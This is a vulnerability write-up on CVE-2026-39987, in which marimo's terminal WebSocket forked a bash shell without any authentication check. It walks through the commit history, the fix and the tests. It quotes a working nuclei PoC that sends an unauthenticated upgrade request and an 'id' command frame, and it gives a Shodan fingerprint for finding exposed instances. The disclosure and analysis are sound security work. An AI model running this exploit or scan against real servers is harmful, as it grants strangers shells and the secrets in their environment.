//nefariousplan

CVE-2026-39987: The Only WebSocket in Marimo Without an Auth Check Was the One That Forks a Shell

pattern

cve

proof of concept

Marimo is a Python notebook server. Started with marimo edit, it binds HTTP and WebSocket routes for the editor, the kernel, LSP proxying, and, as of a feature added in July 2024, an in-browser terminal. The terminal endpoint lives at /terminal/ws. Reach it and the server runs pty.fork() and execs /bin/bash. The shell's uid is whoever launched marimo edit.

Every other WebSocket handler in the marimo server had an explicit validate_auth(websocket) call at the top of its handler. The one that forks a shell did not. The author knew this class existed. They wrote a commit message about it in September 2025. They applied the fix to the two endpoints they were looking at. The third endpoint shipped without it for another seven months.

Starlette's auth middleware does not gate WebSockets. The author said so.

On September 9, 2025, commit 2beaf09d3 landed in the marimo repo. The commit message is one paragraph:

Starlette's auth middleware does not validate auth on websocket connections (only HTTP). This adds an extra validation step during the websocket initial connection.

The patch added seven lines at the top of the main kernel WebSocket handler in marimo/_server/api/endpoints/ws_endpoint.py:

app_state = AppState(websocket)

# Validate authentication before proceeding
if app_state.enable_auth and not validate_auth(websocket):
    await websocket.close(
        WebSocketCodes.UNAUTHORIZED, "MARIMO_UNAUTHORIZED"
    )
    return

The same seven lines landed at the top of ws_sync in the same commit, covering the Loro RTC endpoint. The diagnosis in the commit message is correct and complete. Starlette's AuthenticationMiddleware runs on every connection, but its job is to populate scope["user"], not to reject unauthenticated ones. HTTP endpoints opt into rejection through the @requires(...) decorator. WebSocket endpoints have no equivalent. They have to call validate_auth() inside the handler body, or nothing rejects them.

The marimo server registered three @router.websocket handlers in its main router. The sweep covered two of them:

Route File Auth check after Sept 9, 2025
/ws endpoints/ws_endpoint.py Added in commit 2beaf09d3
/ws_sync endpoints/ws_endpoint.py Added in commit 2beaf09d3
/terminal/ws endpoints/terminal.py None

The file next to the two that were patched contained a handler that spawned a PTY shell, and the sweep missed it.

The exploit is the endpoint

The published PoC is a nuclei template. The business logic is fourteen lines:

let conn = net.Open('tcp', addr);
let wsKey = "dGhlIHNhbXBsZSBub25jZQ==";

let req = "GET /terminal/ws HTTP/1.1\r\n";
req += "Host: " + addr + "\r\n";
req += "Upgrade: websocket\r\n";
req += "Connection: Upgrade\r\n";
req += "Sec-WebSocket-Key: " + wsKey + "\r\n";
req += "Sec-WebSocket-Version: 13\r\n";
req += "Origin: http://" + addr + "\r\n";
req += "\r\n";

conn.Send(req);
let upgradeResp = conn.RecvString();

if (upgradeResp.indexOf("101") !== -1) {
  conn.SendHex("818337fa1e2d5e9e14");

No cookie. No Authorization header. No access_token query parameter. A raw HTTP upgrade to the terminal path, and the server returns HTTP/1.1 101 Switching Protocols.

The hex payload decodes cleanly. 0x81 is a FIN text frame. 0x83 is mask-on, three-byte payload. 0x37fa1e2d is the mask, 0x5e9e14 is the masked body. XOR produces the bytes 69 64 0a, which is id\n.

The handler receives that as a text message inside _write_to_pty, encodes it as UTF-8, and writes it to the PTY master file descriptor that pty.fork() returned. The child side of the fork has executed /bin/bash. The shell reads id from its stdin, runs it, and writes uid=1000(user) gid=1000(user) groups=... back through the PTY. _read_from_pty wakes up, pulls the bytes, decodes them, and sends them as a WebSocket text message. The template's matcher is uid=\d+\([^)]+\), which is the exact output shape of id(1).

The shell the attacker is talking to inherits everything the parent had. pty.fork() preserves the environment, the working directory, the open file descriptors that survive fork, and the process credentials. Marimo's child-setup helper does not drop privileges or clear the environment:

def _create_shell_environment(cwd: str | None = None) -> tuple[str, dict[str, str]]:
    ...
    env = os.environ.copy()
    env["TERM"] = "xterm-256color"
    env["LANG"] = env.get("LANG", "en_US.UTF-8")
    env["LC_ALL"] = env.get("LC_ALL", "en_US.UTF-8")

Three environment variables get set. The rest of os.environ is copied wholesale. Whatever cloud credentials, database URLs, API tokens, or secret-manager tokens the operator exported before marimo edit are visible to the unauthenticated shell via env on its first line of input. In typical container deployments the shell is running as root, or as an application user with write access to the notebook tree and unrestricted network egress. The PoC confirms a shell. Confirming a shell is the hard part.

The pre-patch guards were availability checks

The pre-patch handler did have two guards. It rejected non-edit modes, and it rejected environments where pty is unavailable:

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(
            code=1008, reason="Terminal only available in edit mode"
        )
        return

    if not supports_terminal():
        await websocket.close(
            code=1008, reason="Terminal not supported in this environment"
        )
        return

    try:
        await websocket.accept()

Both are availability checks. Neither answers the question "is this caller allowed to open a shell on this server." The first check is satisfied by running marimo edit, which is how the product is marketed. The second is satisfied by Linux, which is where the product is deployed. The handler has shape that looks defensive, because it returns early on two different conditions, and the shape is the kind of shape a reviewer scans as "this function rejects bad input." The function does reject bad input. It just never rejects unauthenticated input.

The fix is the commit from September 2025, copied into the file next door

Commit c24d48063, April 8, 2026, PR #9098, titled "fix: properly authenticate terminal route":

 @router.websocket("/ws")
 async def websocket_endpoint(websocket: WebSocket) -> None:
     app_state = AppState(websocket)
+
+    if app_state.enable_auth and not validate_auth(websocket):
+        await websocket.close(
+            WebSocketCodes.UNAUTHORIZED, "MARIMO_UNAUTHORIZED"
+        )
+        return
+
     if app_state.mode != SessionMode.EDIT:

The fix is the same seven-line block, written by the same author, calling the same function, producing the same close code. The file containing the earlier fix was endpoints/ws_endpoint.py. The file that needed this fix was endpoints/terminal.py. The two files are in the same directory.

Between September 9, 2025 and April 8, 2026, the marimo server shipped 211 days of releases. In every one of them, the fix pattern was present in the repository, and the endpoint that most needed it was missing the pattern.

The tests institutionalized it

The test file for the terminal endpoint existed before the fix. Its main case:

@pytest.mark.skipif(is_windows, reason="Skip on Windows")
def test_terminal_ws(client: TestClient) -> None:
    with client.websocket_connect("/terminal/ws") as websocket:
        websocket.send_text("echo hello")
        data = websocket.receive_text()

No access_token. No authentication. The test asserts that echo hello reaches the shell and comes back. The test passed because the production code let it pass. The test did not catch the missing auth check. The test encoded the same assumption the handler did, written by the same author on the same afternoon as the handler.

The fix had to retrofit every existing terminal test to pass ?access_token=fake-token in the URL, and add two new cases asserting that the wrong token and the missing token both close with WebSocket code 3000:

def test_terminal_ws_unauthorized(client: TestClient) -> None:
    """Test terminal websocket rejects unauthenticated connections."""
    with pytest.raises(WebSocketDisconnect) as exc_info:
        with client.websocket_connect("/terminal/ws"):
            pass
    assert exc_info.value.code == 3000

The two positive-path tests that had shipped since July 2024 were running for twenty months against an endpoint that had never required a token. The tests did not miss the bug. They were the bug, in test form.

A mass-scan primitive was built into the template

The nuclei template ships with metadata that makes this a one-command internet-scale exploit:

metadata:
  verified: true
  max-request: 1
  vendor: marimo-team
  product: marimo
  shodan-query: http.favicon.hash:-1864630356
tags: cve,cve2026,marimo,rce,websocket,vkev,kev

The shodan-query field is a pre-computed fingerprint. Anyone with a Shodan account can paste http.favicon.hash:-1864630356 into the dashboard and get the list of every marimo instance reachable from the public internet. Pipe that list through nuclei -t CVE-2026-39987.yaml and each confirmed hit has an id return. The template tags include vkev and kev, which is the project's own flag that the vulnerability is on the CISA Known Exploited Vulnerabilities list. CISA set the KEV deadline at May 7, 2026, which requires federal agencies to patch within about two weeks of the listing. Mandatory patching deadlines get attached when CISA has evidence of in-wild exploitation.

The delta between "the fix was in the file next door, unnoticed" and "a templated exploit with a shodan fingerprint is in the public nuclei catalog and the vulnerability is KEV-listed" is approximately two weeks. The bug had been silent for twenty months. Once it stopped being silent, the operational kit arrived immediately.

The third instance, five days later

On April 13, 2026, commit 936ed92cf landed. Title: "fix: require auth in LSP middleware." The patch adds a require_auth: bool = True gate to ProxyMiddleware, which fronts the LSP WebSocket. That is the third instance of the same class in the same codebase, patched by the same author, one working week after the terminal fix:

Date Event Same class
2024-07-22 /terminal/ws introduced (PR #1786), forks /bin/bash via pty.fork() First instance planted
2025-09-09 /ws and /ws_sync get validate_auth (PR #6284) Author writes the class diagnosis in the commit message
2026-04-08 /terminal/ws gets the same seven-line block (PR #9098), ships in release 0.23.0 CVE-2026-39987
2026-04-13 LSP proxy middleware gets require_auth (PR #9160) Third instance, patched proactively
2026-04-23 Nuclei template published; CVE lands on CISA KEV with deadline 2026-05-07

The substrate is Starlette plus WebSockets. The middleware architecture guarantees HTTP endpoints opt into auth through a decorator and WebSocket endpoints do not. Marimo's maintainer has now written essentially the same fix three times in three different files, citing the same diagnosis each time. This is the design-debt-driver shape: patches close instances, the design holds the primitive. The class has produced one CVE of the three instances. The CVE is the one where the handler happened to fork a shell.

PoC: projectdiscovery/nuclei-templates

The fix for this endpoint was in the file next door. It had been there for seven months.